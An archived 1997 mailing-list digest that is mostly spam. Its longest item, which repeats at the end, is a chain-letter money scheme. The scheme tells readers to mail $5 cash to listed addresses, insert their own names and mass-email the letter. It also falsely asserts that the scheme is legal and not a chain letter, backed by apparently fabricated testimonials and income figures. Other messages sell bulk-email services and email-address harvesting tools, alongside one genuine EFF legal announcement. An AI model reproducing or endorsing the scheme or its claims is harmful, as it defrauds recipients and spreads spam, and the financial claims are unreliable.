FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '92 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. 
Here was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to start, without putting me further in debt.  After I got a
pencil and paper and figured it out, I would at least get my money
back.  After determining that the program is LEGAL and NOT A CHAIN
LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need
any money for printing to send out the program, only the cost to
fulfill my orders.  I am telling you like it is, I hope it doesn't
turn you off, but I promised myself that I would not "rip-off" anyone,
no matter how much money it cost me!.

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you
read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in  20 to 90 days was done.  By January 30th, I had received 196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU MUST RECEIVE 100
OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat back and relaxed.  By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please
take time to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER! Remember,  it wont work  if you don't try it.  This program
does work, but you must follow it EXACTLY!  Especially the rules of
not trying to place your name in a different place.  It doesn't work,
you'll lose out on a  lot  of  money!  REPORT  #2  explains this. 
Always follow the guarantee, 15 to 20  orders  for REPORT #1, and 100
or more orders for REPORT #2 and you will make  $50,000 or more in 20
to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It
really is a great opportunity with little cost or risk to you.  If you
choose to participate, follow the program and you will be on your way
to financial security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!
                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like
piled up on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                        Dawn W., Evansville, IN

"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free
lunch in life.  You get out of life what you put into it.'  Through
trial and error and a somewhat slow frustrating start, I finally
figured it out. The program works very well, I just had to find the
right target group of people to email it to.  So far this year, I have
made over $63,000 using this program.  I know my dad would have been
very proud of me."

                                        Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business
for ten years.  Then in 1979 my business began falling off.  I was
doing the same things that were previously successful for me, but it
wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy. Inflation and recession had replaced the stable economy that
had been with us since 1945.  I don't have to tell you what happened
to the unemployment rate...because many of you know from first hand
experience. There were more failures and bankruptcies than ever
before.

The middle class was vanishing.  Those who knew what they were doing invested wisely and moved up.  Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER."  The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US
and overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way. It works exceedingly well as it is now.  Remember to email a copy of this exciting program to everyone that you can think of.  One of
the people you send this to may send out 50,000...and your name will
be on every one of them!.  Remember though, the more you send out, the more potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did,
take a little time to read it and REALLY THINK ABOUT IT.  Get a pencil
and figure out what could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested. 
Any doubts you have will vanish when your first orders come in.  IT
WORKS!
                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With
a .5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT
100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe me, many people will do that and more!  By the way, your cost to participate in this is practically nothing.  You obviously already have an internet
connection and email is FREE!!!  REPORT#3 will show you the best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is being taught in the Harvard Business School, and both Stanford
Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-level
Methods by the mid to late 1990's.  This is a Multi-Billion Dollar
industry and of the 500,000 millionaires in the US, 20% (100,000) made
their fortune in the last several years in MLM.  Moreover, statistics
show 45 people become millionaires everyday through Multi-Level
Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling.  You do it privately in your own home, store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Dothis
           by ordering the REPORT from each of the four 4 names listed
           on the next page.  For each REPORT, send $5 CASH and a
           SELF- ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10)                    to the person listed for the SPECIFIC REPORT. International            
           orders should also include $2 extra for postage. It is
           essential that you specify the NAME and NUMBER of the
           report requested to the person you are ordering from.  You
           will need ALL FOUR 4 REPORTS because you will be REPRINTING
           and RESELLING them. DO NOT alter the names or sequence
           other than what the instructions say.  IMPORTANT:  Always
           provide same-day service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
           POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will
           tell you the best methods of bulk emailing and acquiring
           email lists.

Step (4)   Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can
           encourage them to take  advantage of this  fabulous 
           money-making opportunity.  That's what I did.  And they
           love me now, more than ever.  Then, email to anyone and
           everyone!  Use your imagination!  You can get email
           addresses from companies on the internet who specialize in
           email mailing lists.  These are very cheap, 100,000
           addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 USD CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
(International orders should also include $2 USD extra for postage) 
Add you e amil address when sending in for your report this is for updated information and continueing support (optional) that will be handed down by you sponcers.
______________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:
J. Maz 
15774 S. LaGrange Rd 
suite #312
Orland Pk, IL 60462
USA

______________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

A. Siegmund #57
Trakehnenstr. 13
53332 Bornheim, Germany

______________________________________________________REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

B. Thompson
13504 Greencaslte ridge Tr.  404
Burtonsville MD. 20866

______________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

MUW #2
PO BOX 71442
SALT LAKE CITY, UT 84171-0442
______________________________________________________

CONCLUSION
.I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation. 
                                                                                                                                                                                                                                                                                                                                                                                                                                            





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: justdoit@ultra-mail.com
Date: Wed, 12 Nov 1997 21:51:33 -0800 (PST)
To: justdoit@ultra-mail.com
Subject: DOUBLING  " your"  PROFITS!
Message-ID: <199711130551.VAA03433@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hello Entrepreneurs,

ONLINE SUCCESS-THE DIRECT E-MAIL MLM THAT DOES IT ALL FOR YOU!

  If you have been looking at the exciting possibilities and INCOME that
  bulk e-mailing can bring to you, Online Success is the program for
  you, and it is a brand-new way to make money with 35million prospects
  online and more joining daily!

  We do ALL phases of bulk e-mailing for you. You collect the profits
  from your e-mail ads, and we do the work, month after month! Consider
  the benefits of having a professional bulk e-mailing firm working for
  you:

  ELIMINATE the hassles of lost dial-up ISP accounts, mail-bombs,
  undeliverable addresses, and expensive bulk e-mail software that
  doesn't perform as advertised! No more technical headaches and
  frustrations with so-called "bulk-friendly" providers that come and go
  every day.

  GET YOUR AD DELIVERED to 10,000 people every month! Best of all, we
  collect all the addresses, remove those we know that don't want e-mail
  ads, take out addresses like governments,schools,military and
  "flamers" BEFORE your mailing is ever sent! Your sales message only
  goes to buyers, not people who don't want bulk e-mail or should never
  be sent it!

  SIT BACK AND RECEIVE only prospects,sales, and further information
  responses. All mail is sent from Online Success, and all replies go
  directly to your account on our bomb-proof servers. We take out what
  you DON'T want: the flames,remove requests,and counter-offers, then
  send  YOU the responses that lead to profit!

  GET PAID by Online Success a very nice 50% commission for those you
  refer to our complete bulk e-mail services! Two ways to earn money:
  the results from your own 10,000 e-mails every month, and anyone you
  sponsor into the Online Success MLM program!

  NO GIMMICKS OR CATCHES to slow you down! Your ad runs completely by
  itself, and you are allowed up to 200 lines to promote your business
  or service with the monthly 10,000 e-mails. Say GOODBYE to
  fly-by-night companies or silly pyramid schemes......Online Success is
  a PROFESSIONAL organization consisting of 10 bulk e-mailing experts
  that are dedicated to helping you turn the Internet into your personal
  gold mine!

  For the exciting full details on this one and only Direct E-Mail MLM,
  see the Online Success company's web site at:

  Very Important Your Sponsers ID# 109, you will need to put it on the 
  application form.

  http://www.online-group.com

  if the above site is too busy, the exact site is also at:

  http://www.online-success.com

    P.S. Join NOW and get a MONTH of e-mails for FREE! You'll receive
  20,000 e-mails instead of 10,000, potentially DOUBLING your profits!
  Hurry, this offer from Online Success is for a limited time. Make sure
  you do not miss this new and exciting opportunity that will take the
  Internet by storm!

  
  To be removed from any future mailings from our company and many
  others, please reply with REMOVE as the subject.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mail2.mihorse.com@idirect.com
Date: Thu, 13 Nov 1997 02:53:27 -0800 (PST)
To: Friend@public.com
Subject: Prepaid phone cards and callback
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


We thought that you should hear about this only if you make long distance phone calls.

One of the leading phone card companies in the U.S. Warsun International Communications Corporation is offering the lowest International phone card rates.   Call from your home, office,  cellular,   or a pay phone by dialing a toll free number to any where in the world.   For more information please call customer service at 1800-4 warsun, or visit our web site

http://www.warsun.com

Any where in the U.S. Alaska, Hawai, $0.18c.   We offer rechargeable phone cards, you dont need to carry any other phone card.  For overseas customers we offer impressive callback rate.     Again for more information please access our site

at    http://www.warsun.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mepemie15@aol.com
Date: Wed, 12 Nov 1997 22:56:00 -0800 (PST)
To: kw2p56kj@aol.com
Subject: " GET IT ALL FREE "
Message-ID: <199711131153IAA34581@kw4ust6d.web2000.net>
MIME-Version: 1.0
Content-Type: text/plain





    ////////  "IT'S FUN TO GET FREE STUFF ON THE NET"  \\\\\\\\

 ------------------------------------------------------------------
 We show you how to get free things on the world-wide web:
 ------------------------------------------------------------------
Such as....
 *Free Computers and Monitors, Brand New, Latest Technology
 *Free Brand New 19" GE Color TVs w/Remote Control
 *Free Brand New 4-Head GE VCRs w/Remote Control
 *Free Brand New Motorola Pagers  *Free Sony Walkmans
 *Free Brand New GE Clock Radios  *ALL BRAND NEW
 *Free 5"B&W Portable TVs w/Car, Home & Boat Adapters
 *Free Merchandise  *Free Software  *Free Books
 *Free Working Capital  *Free Newspapers  *Free
 *Pets (free pets?)  *Free Advice  *Free Pagers
 *Free Long Distance  *Free e-Mail  *Free Websites
 *Free Advertising  *Free Subscriptions  *Free Maps
 *Free Newsletters  *Free Reports   *Free Businesses
 *Free Homes  *Free Cars  *Free Whatchamacallits
 *You name it--it's either free or almost free on
   the Web!  And Much, Much More. Free!  Free!  Free!
 -------------------------------------------------------------------------
 Find out how to get (almost) anything you want, free!
 Send an e-mail to our auto-responder at:

   JUST CLICK HERE.

 Type "send free info" in the subject field and hit SEND
 and our auto-responder will send you free information
 by return e-mail.  DO NOT HIT YOUR REPLY BUTTON.  It
 will not make it back to us.

 (Attention AOL members: Please note that AOL blocks
 commercial email from your private email account,
 without your direct knowledge! But, you CAN disable
 this "protective" feature if you go to keyword:
 PreferredMail and make sure you put an X in the box.)

    &&&&&&&&&&&&&&&&&&& END &&&&&&&&&&&&&&&&&&

According to our records, this is information you requested.
If it was sent in error, please accept our apologies.   
This offer will not be sent to you again.  To be removed from
our database, please send an e-mail to:


  JUST CLICK HERE.

                removeme9@netmarktec.com

and say, "Remove."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 13 Nov 1997 05:10:59 -0800 (PST)
To: bernstein-announce
Subject: Prof. Bernstein's appeal brief and two major Amicus briefs online
Message-ID: <199711131245.EAA09636@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The EFF Bernstein Legal web page has been updated to contain:

    *	the appeal brief by Prof. Bernstein

    *	the Amicus ("friend of the court") brief by EPIC, ACLU, CDT, CPSR,
	Economic Strategy Institute, Free Congress R&E, Human Rights Watch,
	Independence Institute, ISC2, IMC, ISOC, NAM, Privacy International,
	USACM, Whit Diffie, Peter Neumann, and Ron Rivest

    *	the Amicus brief by NCSA, RSA, Maynard Anderson, Jim Bidzos,
	Mark Rasch, Gene Spafford, and Ross Stapleton-Gray.

  http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/Legal/

There are still three more amicus briefs filed with the court, which
are not yet on the Web.

The Government's reply is due on November 20; we'll provide page images
shortly thereafter.

The appeal hearing is on December 8 at 9AM at the Ninth Circuit Court
of Appeals, 95 Seventh Street, San Francisco.

	John Gilmore
	Electronic Frontier Foundation





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim6@jamesy.com (OCS)
Date: Thu, 13 Nov 1997 04:28:56 -0800 (PST)
To: Jim6@jamesy.com
Subject: Smell This !!!!
Message-ID: <199711132595QAA39660@21.213.21>
MIME-Version: 1.0
Content-Type: text/plain


Special one time offer !!!!

3 Genuine McAuley's Aroma Gel Christmas Candles

	Delivered to your door for only $ 9.95

	Get your set of 3 Aroma Gel Christmas Tree Candles NOW. Each Beautifully Scented Aroma Gel Candle burns for 25 HOURS.  Each Candle comes in its own individual Fancy Glass Container. These Aroma Gel Candles are all First Quality and Manufactured by McAuley's Inc. of Memphis, TN, USA.
	This One Time Special Holiday Offer of 3 Great Smelling Candles for only $ 9.95, INCLUDES ALL SHIPPING AND HANDLING. 
	Supplies are LIMITED. Order your SET TODAY. Send Cash, Check or Money Order to: 

OCS
P.O. Box 2142
Ocean City, NJ 08226

All Orders will be shipped via 1st Class U.S. Mail.

Just Print and fill out the following order form, and mail to the address above.

Name: ________________

Street: ________________

City: __________________

State: _________________

Zip Code: ______________

To be removed type "remove" in the subject box and reply.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AJD013187@aol.com
Date: Thu, 13 Nov 1997 08:02:10 -0800 (PST)
Subject: Re:
Message-ID: <971113110046_1603009864@mrin58.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



 
   The Virtual Girlfriend and Virtual Boyfriend are artificial intelligence 
programs for your IBM PC or compatible and also for MACINTOSH. You 
can watch them, talk to them, ask them questions, tell them secrets, and 
relate with them.  Watch them as you ask them to take off different clothes
and guide them through many different activities. Watch and participate in
the hottest sexual activities available on computer, including: several
sexual positions, using many unique toys, even bringing in multiple partners.
This is no doubt one of the most realistic, sexually stimulating computer
games available. They will remember your name, birthday, your likes and your
dislikes. Every time you start the program, they say different things, and
act differently. Each time, they have a different personality. With the VGA
digital graphics, The Virtual Girlfriend and Virtual Boyfriend software have
some of the hottest, sexiest graphics out there.  And with a Soundblaster or
compatible card, you can actually hear their voice as they talk to you. This
is the first adult software title that was designed for both heterosexual and
homosexual people. I would like you to try the actual full copy out before it
is put on the market.  It will be sold for 1/5 of the actual price ($10.00)
until I can get back some information on what people think of the program.  
Please give it a try and write back any comments.      Thank you.

    If you are interested and would like to order a copy, then you can read
the mailing instructions below.  It comes in an unmarked package and is sent
out at most 4 days after the order is received. You are not put on any
mailing lists whatsoever, guaranteed. It will run on any 386, 486 or higher, 
and 100% IBM compatibles.  Required is VGA graphics, and a hard drive.  
The sound card is optional. Macintosh requires at least 4 meg of ram.  
Virtual Girlfriend and Virtual Boyfriend are artificial intelligence
programs, meaning they are completely interactive. It would be just like if
you were talking to someone.  You can actually have simple conversations.  
Their attitudes change with the different things you say, so you can say
things that will upset them, and then say things that will please them. The
more you play/talk with them, the more you learn what they can do, and what 
they like to do. It really is a blast.  With all these movies coming out
about virtual reality, it's amazing to actually have a virtual reality
program like this for your own computer. It's easy to install, and
instructions are easy
to follow.     

  ~~~~~~~~~~~~~~~~Special Software Offer~~~~~~~~~~~~~~~~~~
This is to inform you about the new adult game that VCS Magazine
rated "The best game of "97".  "The Search for Paradise is no doubt one 
of the greatest XXX adult games available".  The first games where it is
as much fun as it is a turn on!  Travel the world to every continent, every
country you can think of, and meet some of the most beautiful women in
existence.  These women will treat you like a king and obey your every
command.  Any sexual wish you can think of, these women know it all.  
There is a different paradise for every guy out there, and this game will
have them all.  This game uses real models, digital video, and digital sound
to make it as realistic as possible.  You will feel like you're in the same
room
as the girl you're talking to!!!

          As an added bonus you'll receive "Club Celebrity X"
     Meet, talk to and even have your way with the celebrities of your
choice.
     Imagine being in a club with some very beautiful, well known, actual
     celebrities! You have seen these girls on T.V., Magazines and billboard
ads.
     Now they are on your computer begging for action.  This game is hot and
once you
     start playing, you won't be able to stop!!!

~Required: 386 or better, 4 meg ram or better, Windows 3.1 or higher (Win95
is fine), sound card is optional, Rom is optional.  (Game is given either
CD-rom or compressed 3.5" diskettes).~~$19.95!

                            Order now and get everything for just $24.95!!!!

     
At your request, the programs can come with a password protection utility
that only allows the program to run when the correct password is entered. 
                
                                   (You must be 18 or over to purchase)


Please fill out the following form and mail it to the address above.  
(Feel free to write out the order form by hand)

                        Questions?  Email us at: Virtualfriends4@hotmail.com
            -    

           Send to:                    Mark Wrhel
                                         P.O. Box 0118
                                      Tujunga, Ca. 91043
       
                        
Your Name ___________________________________________ Date ____________

Address ______________________________________________________________

City ____________________________ State __________ Zip Code ______________

Phone#  _____________________ E-mail Address ___________________________

Do you have an IBM (   ) or MAC (   )?  CD rom (   ) or Disks (   )?

(   ) Virtual Girdfriend or (   ) Boyfriend for $10.00 (   ) *both just
$15.95

(   ) The Search for Paradise and Club Celebrity X for $19.95

(   ) Everything!!! The Search for Paradise, Club Celebrity X,
      Virtual Girlfriend and Virtual Boyfriend.  
       >>>>All for just $24.95<<<<
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: =?iso-8859-1?Q?St=E9phane_?= Jacquet <sjacquet@musician.org>
Date: Thu, 13 Nov 1997 03:06:23 -0800 (PST)
To: (Recipient list suppressed)
Subject: No Subject
Message-ID: <3.0.32.19971113113050.006bd510@193.248.225.73>
MIME-Version: 1.0
Content-Type: text/plain



Give a visit to my home page !!!!!
And let me know what you think !!!
==================================
Stéphane Jacquet
sjacquet@musician.org
http://www.worldnet.net/~sjacquet/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hamr@great-mail.com
Date: Thu, 13 Nov 1997 14:49:26 -0800 (PST)
To: group@heliocomp.net
Subject: Advertisement: DON'T BUY TARGET E-MAIL LISTS!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


We have many great products and programs, which benefit the Internet
Marketer. If we have reached you in error and you don't wish to receive
future mail from us, double click the reply to address and type remove as the subject.  
Your address will be removed immediately!!


________________Don't Buy Target Email Lists!!________________

Create your own target lists with, with the same tools the professionals use!!

GEOLISTtm Version 1.0 Beta 3     Geographical Email Address Collector   
GeoList 1.0 lets you create geographically targeted email address lists without knowing a thing
about URLS or HTML. With this powerful new collector, target any city, in any state! then click extract!
GeoList will start gathering addresses automatically!! Watch as the list of e-mail addresses appears!

This is the same program the professionals use to gather and sell their own target lists!!

Build an entire Nation wide marketing campaign by state, or specific city.
GeoList will make it easier than ever, with its powerful multithreaded program.

Download the demo and try it! Once you see GeoList in action, you will buy it!
You can purchase GeoList  and within 30 to 60 seconds after purchase have a registered 
FUNCTIONAL program!!  
We have a user friendly "SUPER FAST" secure order-processing system!!!

To download the free demo send e-mail to   hamr@great-mail.com   Geolist Demo as subject


 DejaVuTM   Version 1.0     Collect Address from the History of the NewsGroups! 

Introducing a completely new target oriented email collection software linked directly to Deja News. 
Use DejaVu to automate your collection from Deja News, a complete historical archive of anyone who 
ever posted to a newsgroup!  30 to 60 seconds and you are a registered user!!
Millions of Newsgroup Articles to search!
You can choose to search through recent (last two months) articles, or articles dating back to 1995. 
 Simply enter a keyword to search with and press go!
To download the free demo send e-mail to hamr@great-mail.com    DejaVu Demo as subject

 SonicTM  Version 1.0 build 6     Multi-Tasking Email Address Collector     

The Sonic is an all-in-one, Web collection tool, that includes TargetSmart(r) Technology, 30 Second 
Registration, and Multiple SearchToggle. Let us again say, the added benefit behind Multi-threading,
a process which lets you capture and extract your targeted search results at staggering speeds.
Sonic is... Multi-Threaded 
       Enter a keyword and Sonic will search the Internet!!
       Ability to search multiple sites simultaneously. 
       Search any one of 9 different search engines, or search them ALL simultaneously!

To download the free demo send e-mail to hamr@great-mail.com Sonic Demo as subject

Looking for Mailers? Download, NetContact, Stealth, Mach10  
Send e-mail to hamr@great-mail.com     Mailer demos as subject.

When you purchase our software you receive at no additional cost;
1. Mr. Clean e-mail filter. Process 100,000 address files through 32 filters in 36 seconds!!
2. Our CD of 28 million addresses, updated as of 11/7/97. The best list available.

All software is sold with tech support. We will take the time to walk you through the process
step by step.
               





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mary<75366380@aol.com>
Date: Sat, 15 Nov 1997 02:33:04 -0800 (PST)
To: members
Subject: "YOU TOO CAN MAKE MORE THAN $50,000.- "
Message-ID: <12564235322.GAA15852@aol.com>
MIME-Version: 1.0
Content-Type: text/plain



YOU DO NOT WANT TO TRASH THIS ONE !!!!!!!!!
PLEASE READ THIS AT LEAST TWICE !!!!!!!!!!

Please accept my apology if this were sent to you in error!

***************************************************************
You could make at least $50,000 - In less than 90 days.
Read the enclosed program. . .  
THEN READ IT AGAIN!!!
***************************************************************

Dear Friend,

The enclosed information is something I almost let slip through my fingers.  Fortunately, sometime later I reread everything and gave some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I worked at for the past twelve years, downsized and they eliminated my position.  After unproductive job interviews, I decided to open my own business.  Over the past year, I incurred many unforeseen financial problems.  I owed my family, friends, and creditors more than $35,000.  The economy was taking a toll on my business and I just could not seem to make ends meet.   

I had to refinance and borrow against my home to support my family and struggling business.  I truly believe it was wrong for me to be in debt like this.  AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER. . .FINANCIALLY!!! 

In mid-December, I received this program via e-mail.  Six months before receiving this program, I had been sending away for information on various business opportunities.  All of the programs I received, in my opinion, were not cost effective.  They were either too difficult for me to comprehend or the initial investment was too much for me to risk seeing if they worked or not.  One claimed I could make a million dollars in one year. . .  It didn't tell me I'd have to write a book to make it. 

But as I was saying, in December I received this program.  I did not send for it, or ask for it, they got my name off a mailing list.  THANK
GOODNESS FOR THAT!!!!  After reading it several times, to make sure I was reading it correctly, I could not believe my eyes.  Here was a MONEY MAKING PHENOMENON.  I could invest as much as I wanted to start, without putting me further in debt.  After I got a pencil and paper and figured it out, I would at least get my money back. After determining that the program is LEGAL and NOT A CHAIN LETER, I decided "WHY NOT." 

Initially I sent out 10,000 e-mails.  It only cost me about $15.00 for my
time on-line.  The great thing about e-mail is that I did not need any
money for printing to send out the program, only the cost to fulfill my
orders.  I am telling you like it is, I hope it does not turn you off, but
I promised myself that I would not "rip-off" anyone, no matter how much money it cost me! 

In less than one week, I was starting to receive orders for REPORT#1.  By January 13th, I had received 26 orders for REPORT #1.  When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DO NOT, THEN SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in 20 to 90 days was done.  By January 30th, I had received 196 orders for 
REPORT #2.  If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. 

ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat back and relaxed.  By March 19th, of my e-mailing of 10,000, I received $58,000 with more coming in every day. 

I paid off ALL my debts and bought a much needed new car.  Please take time to read the attached program.  It WILL CHANGE YOUR LIFE FOREVER!  Remember, it will not work if you do not try it.  This program does work, but you must follow it EXACTLY!  Especially the rules of not trying to place your name in a different place.  It doesn't work, you'll lose out on a lot of money!  REPORT #2 explains this.  

Always follow the guarantee, 15 to 20 orders for REPORT #1 and 100 or more orders for REPORT #2.  You will make $50,000 or more in 20 to 90 days.  I AM LIVING PROOF THAT IT WORKS!!! 

If you choose not to participate in this program, I am sorry.  It really
is a great opportunity with little cost or risk to you.  If you choose to
participate, follow the program and you will be on your way to financial
security. 

If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign.  I
DID!! 

Sincerely,
Christopher Erickson

PS.  Do you have any idea what 11,700 $5 bills ($58,500) look like piled up on a kitchen table?  It is AWESOME! 


"THREW IT AWAY"

